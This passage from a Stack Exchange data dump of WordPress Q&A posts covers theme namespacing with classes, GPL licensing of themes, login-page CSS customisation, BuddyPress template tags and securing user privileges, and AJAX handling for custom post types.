Questions&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Wtf? What's the point of doing this? Obviously you won't be using two or more instances of the same theme, at the same time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, you won't be using two or more instances of the same theme.  But like I said, think of the class structure in this case as &lt;em&gt;namespacing&lt;/em&gt; the functions, not creating a traditional object instance.  Lumping everything together in a class and either instantiating it to call methods (&lt;code&gt;myClass-&amp;gt;method();&lt;/code&gt;) or calling methods directly (&lt;code&gt;myClass::method();&lt;/code&gt;) is a very clean way to namespace things in a readable, reusable fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you could always use something like &lt;code&gt;myClass_method();&lt;/code&gt; instead, but if you want to re-use any of this code in another theme, in a plug-in, or in antoher framework you have to go back through and change all of your prefixes.  Keeping everything in a class is cleaner and allows you to redevelop and redeploy much more quickly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Let's assume that the plugins do this for the namespace (which is ridiculous), but what's the theme excuse? Am I missing something?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the majority of situations I'd agree with you.  However, that majority is quickly waning.  I host several sites on a MultiSite installation that use variations of the same theme.  Rather than re-create the same theme over and over again with minor differences, I have a single &quot;class&quot; for the parent theme and all of the child themes extend that class.  This allows me to define custom functionality for each site while still maintaining a general sense of uniformity across the entire network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the one hand, theme developers may choose a class-based approach to namespace their functionality (which isn't ridiculous if you work in an environment where you re-use chunks of the same code over and again).  On the other hand, theme developers may choose a class-based approach for easy extensibility by child themes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What's the advantage of coding a theme like this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you're only using Hybrid on your site, there's little to know advantage for you as the end user.  If you're building a child theme for Hybrid there are advantages from namespacing and extensibility.  If you work for &lt;a href=&quot;http://themehybrid.com/&quot; rel=&quot;nofollow&quot;&gt;ThemeHybrid&lt;/a&gt;, the advantage lies in quick, efficient code reuse across your other projects (Prototype, Leviathan, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you're a theme developer who likes a specific feature of Hybrid but not the entire theme, the advantage lies in quick, efficient code reuse in your non-Hybrid project (assuming it's also GPL).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-22T15:58:40.690" CommentCount="5" />
  <row Id="5791" PostTypeId="2" ParentId="5744" CreationDate="2010-12-22T16:09:47.160" Score="4" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;A: 1. Does this licensing scheme (for file groups) violates the WordPress license?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll try to answer that below as it is not that easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A: 2. Do I have to publish the PHP code of the theme so it is available to everyone?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you wrote that PHP code is licensed under GPL you need to go conform with the license. In &lt;a href=&quot;http://www.gnu.org/licenses/gpl-2.0.html#section2&quot; rel=&quot;nofollow&quot;&gt;§2&lt;/a&gt;, &lt;a href=&quot;http://www.gnu.org/licenses/gpl-2.0.html#section3&quot; rel=&quot;nofollow&quot;&gt;§3&lt;/a&gt; you can read about the different forms (there are three) to pass along the source code of your work with the work. Its not that you need to make it available to everyone, just to those who you pass your work to and for a certain amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A: 3. If I were to make a WordPress powered website with my theme (with the same licenses as above) for someone else (who pays for the service), do I have to publish the PHP code of the theme so it is available to everyone, just the buyer, or anything else?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's basically the same as your second question. &lt;a href=&quot;http://www.gnu.org/licenses/gpl-2.0.html#section2&quot; rel=&quot;nofollow&quot;&gt;§§ 2,3 of the GPL&lt;/a&gt; should contain most you need to know about how to pass the sourcecode with your work. As you license the PHP under GPL, the GPL applies. Please read both paragraphs in full and compare it with the &lt;a href=&quot;http://wordpress.org/news/2009/07/themes-are-gpl-too/&quot; rel=&quot;nofollow&quot;&gt;analysis of the SFLC&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A: 1. Does this licensing scheme (for file groups) violates the WordPress license?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can't be said that easily because it's not based on the file-type but on the license terms. I try to explain why. A key point is the type of work in the meaning of being a derivative work under copyright law &lt;em&gt;and&lt;/em&gt; how you distribute your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first concentrate on the derivate topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wether or not your theme - in full or in part - is a derivate or not depends on the work or the works in concrete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/news/2009/07/themes-are-gpl-too/&quot; rel=&quot;nofollow&quot;&gt;suggestion given&lt;/a&gt; that PHP falls under GPL but CSS and Images do not (to which as I assume you refer to somehow when I compare that with your file-type sheme) is more a generic one on wordpress.org. It might well apply to the concrete themes it was given about, but in the end it &lt;strong&gt;always&lt;/strong&gt; depends what you are creating as things &lt;em&gt;can&lt;/em&gt; differ with your theme. I make this differention beause I think it's valid and to ensure if you read that document that you can understand the scope of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And additionally, it's also a easy explanation why it is not possible to answer your question with yes or no. You just didn't provide enough information. And, in my opinion, doing so would not work well with a site like this one. But let me share my thoughts just AS-IS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to motivate everyone to learn about the rights they have with free software. Wordpress is GPL, so read the &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/license.txt&quot; rel=&quot;nofollow&quot;&gt;license terms that ship with wordpress&lt;/a&gt; first, because those define which rights you have with the software. It is a kind of contract you can accept to gain usage rights under that license. You find it in a file named license.txt that is part of the wordpress package you have downloaded as well. Just to proof that it is actually the license text of the wordpress software package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also assume that you like to distribute your theme. Because if not, well you do not need to really worry about the GPL. Most of it only applies if you distribute, copy or modify the code. So I assume you want to redistribute your theme and you therefore tell others about your theme and you pass files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you next to wordpress based your theme on some other works, please see the license terms of those works and learn if all licenses in your work are compatible to each other as well. Depending on how many &quot;sources&quot; you have, this can be quite some work. But do it first, because you really benefit if you know your ingredients. As I don't know about that for your question, I continue on wordpress license only which is the GNU GPL as your theme &lt;em&gt;might&lt;/em&gt; be a derivate work of wordpress. And you wrote it yourself, at least the PHP you want to consider being licensed under GPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding derivate, there are two fragments in the license I find worth to quote for the moment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) The GPL license applies to the work (wordpress plus most certainly the theme you based your theme on if any in concrete) itself &lt;em&gt;&quot;and a &quot;work based on the Program&quot;&#xA;means either the Program or any derivative work under copyright law:&#xA;that is to say, a work containing the Program or a portion of it,&#xA;either verbatim or with modifications and/or translated into another&#xA;language.  (Hereinafter, translation is included without limitation in&#xA;the term &quot;modification&quot;.)  Each licensee is addressed as &quot;you&quot;.&quot;&lt;/em&gt; (&lt;a href=&quot;http://www.gnu.org/licenses/gpl-2.0.html#section0&quot; rel=&quot;nofollow&quot;&gt;in §0&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a derivate and what is not? This is defined by copyright law. It can be only decided based on concrete works, here your theme and in context of the software you potentially based it on. And if you read the suggestion given on wordpress.org, it is based on concrete themes as well: The “classic” and “default” themes included in 2.8-RC1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question what a derivate is or not can be problematic, as it can make the difference. But keep in mind, that there is a very positive side: If you are sure that you created a derivate, you have actual usage-rights for it already because of those licensing terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) And if you didn't made a derivate in the sense of copyright? This is the other case. The license differs for non-derivate works, which are basically works on their own: &lt;em&gt;&quot;If identifiable sections of that work are not derived from the Program,&#xA;and can be reasonably considered independent and separate works in&#xA;themselves, then this License, and its terms, do not apply to those&#xA;sections when you distribute them as separate works.&quot;&lt;/em&gt; (&lt;a href=&quot;http://www.gnu.org/licenses/gpl-2.0.html#section2&quot; rel=&quot;nofollow&quot;&gt;in §2&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this visible in the full extend: If the CSS and Images of the wordpress package would not have been licensed under GPL as they could be independent works as the SFLC suggested, then you need to contact the copyright holder regarding usage rights of those works prior use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is hypothetic, I only write it for demonstration purposes. In fact, everything in the package made by the wordpress project is licensed under the GNU GPL as most of the core developers do not get tired to announce. So if you based your work, be it PHP, images, or CSS some GPL'ed works, then you actually need to license them under GPL as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only if you can divide the work resonable into works on their own, you can decide for those works. With an exclusion: If you you distribute explicitly a work as a whole out of a GPLed derivate and additional works that can stand on their own, all works fall under the terms of the GPL. If you distribute them on their own, this is not the case. §2 is about that case as well and this is done &quot;to exercise the right to control the distribution of derivative or collective works based on the Program&quot;. If you feel this is unfair because it's related to your works, just read the paragraph in full, because it's possible to distribute multiple works along with each other w/o the need to trigger this. But you should understand as well the intention of the license. Otherwise you can not actively make use of the GPL for your software. So don't think too much if you must do something, but turn that over into something that you want to achieve and look for tools that are helpful for your aims.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To come back to derivate or not. Both is possible: If you created a work reasonable on your own, it's not a derivate and the GPL does not apply regardless in which language a file is written or which type it is. You own all rights because it is your work in full, so you can reserve all rights to your own. Or as you wrote it in your question: All Rights Reserved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all files are a derivate of some GPL'ed software, then you need to conform with that GPL for all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the actual file-type in your theme is not what makes the difference, but the actual licensing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, it's quite well understandable why the wordpress plugin repository accepts themes only which are licensed under GNU GPL in full: As you must decide about the derivate character based on every concrete work, this would mean it must be decided for every theme on its own. This is not practicable at all, therefore a simple solution is to license everything under GNU GPL or a compatible license. Problem solved. This can make sense for your own themes as well, regardless if they are commercial or not. The additional benefit is, that every user who knows the GPL - which is the most popular free software license by far - automatically know about the rights he or she has. That's really great, not only as it saves you a lot of time to re-read software licenses again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best practice I can suggest in case you are unsure of what your rights with a work are is to contact the copyright holder(s) of everything non-trivial originating of your work and ask before use. Most often this solves a lot upfront and you can defer the details later. Openly talking with copyright owners has a lot of benefits. In case this does not turn out well, you can refer to your rights you have by general law / code civil or however you name it, regardless of the copyright holders opinion anyway. I just do suggest to talk first before taking the legal route. That's because once it is an issue between lawyers, you most often can not go back to &quot;non-lawyer&quot; mode that easy. Most often this step is a one-way route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion theme authors should first read the license and then think about whether or not they really want to make use of or even contribute to a project. Decide what's in &lt;strong&gt;for you&lt;/strong&gt;. Next to the license of wordpress and as long as you need to go conform with Matt Mullenweg's opinion, I think you can safely refer to the analysis by the SFLC for the moment (&lt;a href=&quot;http://wordpress.org/news/2009/07/themes-are-gpl-too/&quot; rel=&quot;nofollow&quot;&gt;linked above&lt;/a&gt;). It's at least a decent legal opinion you get for free and you can transparently refer to. The folks @ SFLC know the GPL quite well to say at least, and even if you disagree in opinion, I'm pretty sure that it was not given to please because of personal preference. But keep in mind, that the SFLC wrote the analysis in a specific context. For example, they were told by Matt that wordpress is licensed under the GPL v2. That's not fully correct. It ships with the GPL v2 licensing terms, but you as user of that package can choose freely a version you see fit (according to the license text &lt;a href=&quot;http://www.gnu.org/licenses/gpl-2.0.html#section9&quot; rel=&quot;nofollow&quot;&gt;in §9&lt;/a&gt;) which adds more variance. And keep in mind, that the analysis was done regarding two concrete themes. You can however to a certain grade make assumptions based on the argumentation given. But first you need to understand what this is about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And keep in mind (as others have answered as well) that as long as you don't pass along your changes to anybody else, the license of a GPL'ed program enables you to use it quite unrestricted. As in my general suggestion, read the license file in full first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now to make this even more complicated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Passing your work to others might not be always subject to terms given by the original copyright holders, as there are special rights for special cases in copyright adoption, like so called fair-use in the US &lt;a href=&quot;http://www.gnu.org/licenses/gpl-faq.html#GPLFairUse&quot; rel=&quot;nofollow&quot;&gt;which naturally applies to GPL'ed software as well&lt;/a&gt; if you are subject to US law (but please contact the original copyright holder first and clarify if your use is under fair-use as the &lt;a href=&quot;http://www.copyright.gov/fls/fl102.html&quot; rel=&quot;nofollow&quot;&gt;US copyright office suggests&lt;/a&gt;, because fair-use needs to be decided on the concrete use-case - not the type of work). And there are other circumstances like it's not you who creates copyrighted works but the one who is commanding and paying you is. If so, that entity needs to deal with licensing issues, not you. In that case you can't reserve rights either. But all these things heavily depend on copyright laws in your country and really is a detailed area. You should contact a lawyer if you plan to rely on anything like this, because most broad statements you find in the internet about it are mostly informative only and it can not be said if they apply to you. There are just too many variables, that even lawyers in their articles point to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So probably two more useful suggestions: Either contact the original copyright holder and clarify the terms of use if you are uncertain. Or get legal advice from a lawyer who has knowledge in the field of copyright and software licensing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But don't expect too much. I doubt a serious lawyer would take any risk for you in a wordpress add-on thingy, because the licensing situation of the project is quite fragile. There are too many open questions, so a lot of the risk is on your own shoulders as long as you have not clarified this with the copyright holders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you ask me for a personal advice: As long as you distribute your code, expect it to be a derivate for the PHP part at least. Look for what you want and can share under the GNU GPL and stick to that license as the main project is based to it. Because the more terms you introduce, the more complicated this gets for &lt;em&gt;your&lt;/em&gt; users which might expect your theme to be GPL in full because they know about the wordpress license, and your theme is only a small part of the work they use. And in the end it can be more beneficial for you to be openhearted then to get angry of those who &lt;em&gt;will&lt;/em&gt; break your license whichever one it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IANAL, so I can only give personal suggestions you can't rely on as specific legal advice. So what do I do? I just publish my themes under GPL or compatible in full when this is Wordpress related for friends or customers. What drives me is that together you get better results. It's just that you can't get there alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can understand that theme authors are actively looking for revenue of their work, but as long as you didn't wrote the whole software, you should respect the work of others. Not to say, that you should know your rights and make use of them to the extend &lt;em&gt;you&lt;/em&gt; decide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn about how to achieve GPL compliance, this document might be of use for you: &lt;a href=&quot;http://www.softwarefreedom.org/resources/2008/compliance-guide.html&quot; rel=&quot;nofollow&quot;&gt;A Practical Guide to GPL Compliance&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-24T02:53:53.710" LastActivityDate="2010-12-24T02:53:53.710" />
  <row Id="5792" PostTypeId="1" CreationDate="2010-12-22T16:14:37.287" Score="1" ViewCount="288" Body="&lt;p&gt;Is there any plugin that enables the creation of forms and has a smart tool for subscribers (not site visitors who registered) database management?&#xA;I'm looking for a plugin that does that for a long time for different type of needs. For example, event subscription, workshops, courses etc.&#xA;I don't need an event/calendar tool, just forms. The emphasis not on the front end but on the ability to manage the subscriber lists in the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1567" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-22T18:03:04.347" LastActivityDate="2010-12-28T04:33:38.673" Title="Looking for a subscriber list management system" Tags="&lt;plugin-recommendation&gt;&lt;database&gt;&lt;events&gt;&lt;list&gt;&lt;subscription&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="5793" PostTypeId="2" ParentId="5787" CreationDate="2010-12-22T17:04:31.730" Score="3" ViewCount="" Body="&lt;p&gt;Lots of plugins and variations - &lt;a href=&quot;http://www.google.com/search?client=safari&amp;amp;rls=en&amp;amp;q=custom+login+wordpress&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&quot; rel=&quot;nofollow&quot;&gt;custom login wordpress - Google Search&lt;/a&gt; - but basically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goes in your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_loginpage_logo_link($url)&#xA;{&#xA;return get_bloginfo('wpurl');&#xA;}&#xA;function custom_loginpage_logo_title($message)&#xA;{&#xA;return get_bloginfo('name');&#xA;}&#xA;function custom_loginpage_head()&#xA;{&#xA;&#xA;$stylesheet_uri = get_bloginfo('template_url').&quot;/login.css&quot;;&#xA;echo '&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;'.$stylesheet_uri.'&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;';&#xA;}&#xA;add_filter(&quot;login_headerurl&quot;,&quot;custom_loginpage_logo_link&quot;);&#xA;add_filter(&quot;login_headertitle&quot;,&quot;custom_loginpage_logo_title&quot;);&#xA;add_action(&quot;login_head&quot;,&quot;custom_loginpage_head&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And make a file called login.css for your theme directory and make CSS changes there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html,&#xA;body.login {background-color: #464646;}&#xA;#login h1 a {height:160px;background: url(images/mylogo.jpg) no-repeat top center;}&#xA;#login .message {display:none;}&#xA;#login form {background-color: #c2c2c2;}&#xA;#login label {color: #111;}&#xA;#login input {border: 1px solid #999;}&#xA;.login #login p#nav a:link,&#xA;.login #login p#nav a:visited,&#xA;.login #login p#nav a:hover,&#xA;.login #login p#nav a:active {text-decoration:none; color: #fff !important}&#xA;#nav {color: #fff; font-weight: bold}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-12-22T17:04:31.730" CommentCount="6" />
  <row Id="5794" PostTypeId="2" ParentId="5787" CreationDate="2010-12-22T17:18:32.730" Score="2" ViewCount="" Body="&lt;p&gt;This &lt;a href=&quot;http://wpengineer.com/2053/custom-wordpress-login-page/&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt; by WPEngineer should get you started on changing the logo, name, and link of your Wordpress login page.&lt;/p&gt;&#xA;" OwnerUserId="163" LastActivityDate="2010-12-22T17:18:32.730" CommentCount="1" />
  <row Id="5795" PostTypeId="1" AcceptedAnswerId="5823" CreationDate="2010-12-22T17:36:31.717" Score="1" ViewCount="198" Body="&lt;p&gt;A client of mine runs a Buddypress-based site (BP 1.2.6 on WP 3.0.2).  We'd like to give users the ability to publish blogs of their own, but we don't want them to be able to execute PHP code (we make extensive use of the Exec-PHP plugin on the site), activate/deactivate plugins, or basically anything but use the site and publish blogs.  How can we lock things down such that only users with &quot;admin&quot; level privileges and higher can execute PHP code, activate/deactivate plugins, manage users, and the like?&lt;/p&gt;&#xA;" OwnerUserId="2117" LastActivityDate="2010-12-23T04:39:22.297" Title="Best practices for securing a Buddypress installation?" Tags="&lt;buddypress&gt;&lt;security&gt;" AnswerCount="2" />
  <row Id="5796" PostTypeId="2" ParentId="5792" CreationDate="2010-12-22T18:08:22.207" Score="2" ViewCount="" Body="&lt;p&gt;Even I placed a lot of questions back to your question, I would like to share the following idea:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This basically sounds to me that users are subscribing to a post (maybe of a custom post type and with a custom taxnomoy). So to replace the comment form with a subscription form and to use comment &quot;subscriptions&quot; as &quot;post subscriptions&quot;. That for re-using the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that, this would need some backend to handle daily jobs in the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware that any plugin is already offering this. But probably if you get a bit more flexible with your needs you can find some components you can mash-up into something what you're looking for without the need of much coding.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-22T18:08:22.207" CommentCount="1" />
  <row Id="5797" PostTypeId="1" CreationDate="2010-12-22T18:09:58.000" Score="1" ViewCount="184" Body="&lt;p&gt;Is there a place that shows all available template tags and how to use them similar to how wordpress does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to link to a profile within a loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex of output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.mysite.com/members/Tom/&quot;&amp;gt;Tom's Profile&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tried this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo( bp_core_get_userlink() ) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it errors out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives me the author name and url but i just need the url to the profile&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo( bp_core_get_userlink( $post-&amp;gt;post_author ) ) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am not all that great with PHP so I can't figure out how to just output the url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T23:26:05.087" LastActivityDate="2011-05-07T09:44:02.167" Title="Template tags for Buddypress" Tags="&lt;template&gt;&lt;buddypress&gt;&lt;coding&gt;" AnswerCount="1" CommentCount="15" />
  <row Id="5798" PostTypeId="2" ParentId="5787" CreationDate="2010-12-22T18:28:07.737" Score="2" ViewCount="" Body="&lt;p&gt;I'd personally do it like this..&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Hook on login head and inject some extra CSS&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Hook in late, and your styling will go in after the login css inclusion, so you're less likely to need !important to force styles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'login_head', 'custom_login_css', 99999 );&#xA;&#xA;function custom_login_css() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;    h1 a {&#xA;        background: url(path/to/your/image/example.jpg) no-repeat top center;&#xA;    }&#xA;    &amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One function, one hook, job done..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to go a step further and totally seize control of the login CSS keep reading, else just ignore what follows, i'm going to post it anyway, for the sake of others wanting to totally hijack login CSS..&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Intercepting the enqueue&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Hook onto &lt;code&gt;style_loader_src&lt;/code&gt; declaring 2 parameters for the callback function.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First parameter is given the stylesheet's url or src.&lt;/li&gt;&#xA;&lt;li&gt;The second is a given enqueue's handle, eg. &lt;code&gt;colors&lt;/code&gt;, &lt;code&gt;login&lt;/code&gt;, &lt;code&gt;global&lt;/code&gt;..and so on..&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The second variable helps the filter determine what enqueue is being called, and updates the src when it matches the &lt;code&gt;login&lt;/code&gt; handle.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'style_loader_src', 'hijack_login_src', 10, 2 );&#xA;&#xA;function hijack_login_src( $src, $handle ) {&#xA;    if( 'login' == $handle )&#xA;        $src = get_bloginfo( 'stylesheet_directory' ) . '/customlogin.css';&#xA;    return $src;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;stylesheet_directory&lt;/code&gt; in the &lt;code&gt;get_bloginfo()&lt;/code&gt; call to ensure we're pointing at the right directory for child themes to.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Styling the login&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Create the file referenced in the above function inside your theme's folder, so following the example &lt;strong&gt;customlogin.css&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the code from this &lt;a href=&quot;http://wordpress.pastebin.com/iTYgRNkB&quot; rel=&quot;nofollow&quot;&gt;pastebin&lt;/a&gt;, paste it into the newly create CSS file and save.&lt;br&gt;&#xA;The code in the pastebin is basically a copy of the login.dev.css from WP 3.0.3, the difference with taking this approach is having full control over the CSS for the login without need for overrides in your styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now simply make whatever changes you like inside that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One caveat to note here, is that the login file uses relative paths for images, so the stylesheet as is will point at non-existant images.&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;However as the stylesheet is now in your theme directory, you can use a relative path to your theme's image directory, giving you two easy solutions.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the original images from &lt;code&gt;wp-admin/images/&lt;/code&gt; into your theme's image folder and use a relative path(see below).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the styles to use your own images in your theme's image folder using a relative path, eg. &lt;code&gt;images/someimage.jpg&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-22T18:35:00.590" LastActivityDate="2010-12-22T18:35:00.590" CommentCount="1" />
  <row Id="5799" PostTypeId="1" AcceptedAnswerId="5819" CreationDate="2010-12-22T18:49:39.450" Score="0" ViewCount="342" Body="&lt;p&gt;I've got two custom post types: CD and Track. Each of them has got some metadata associated with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is to add Track posts to a CD post when the CD post is being edited. On the CD edit page I have &quot;Add Track&quot; link. When clicking on it, I would like a &quot;New Track Form&quot; to appear under the link that will ask for a Track (custom-post-type) information, along with all metadata that needs to be specified for a Track - as if &quot;Add Track&quot; link was clicked from the left WP menus. Hope that makes sense.CD &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My CD and Track custom-post-types are registered as following: &lt;a href=&quot;http://wordpress.pastebin.com/Y6aagTVs&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.pastebin.com/Y6aagTVs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the edit CD page I have the following link &lt;code&gt;&amp;lt;a class=&quot;addTrack&quot; href=&quot;&quot;&amp;gt;Add Track&amp;lt;/a&amp;gt;&lt;/code&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm missing AJAX and the function that will handle the addition of the &quot;New Track form&quot;. Here is what I've got so far in the AJAX function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add Tracks   &#xA;$(&quot;a.addTrack&quot;).click(function () {&#xA;    opts = {&#xA;        url: ajaxurl, // ajaxurl is defined by WordPress and points to /wp-admin/admin-ajax.php&#xA;        type: 'POST',&#xA;        async: true,&#xA;        cache: false,&#xA;        dataType: 'json',&#xA;        data:{&#xA;            action: 'track_add', // Tell WordPress how to handle this ajax request&#xA;        },&#xA;        success: function(response) {&#xA;            return false;&#xA;        },&#xA;        error: function(xhr,textStatus,e) {  // This can be expanded to provide more information&#xA;            alert(&quot;There was an error adding a track.&quot;);&#xA;            return false;&#xA;        }&#xA;    };&#xA;    $.ajax(opts);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the function that will handle the insertion of the &quot;New Track Form&quot; is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add Tracks&#xA;add_action('wp_ajax_track_add', 'my_ajax_admin_add_track');&#xA;function my_ajax_admin_add_track() {&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know how to go on about the AJAX and my_ajax_admin_add_track() functions. Would really appreciate any help and tips!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-01-22T04:46:47.933" Title="How to add a custom-post-type post within another custom-post-type post edit screen using AJAX?" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;posts&gt;&lt;admin&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
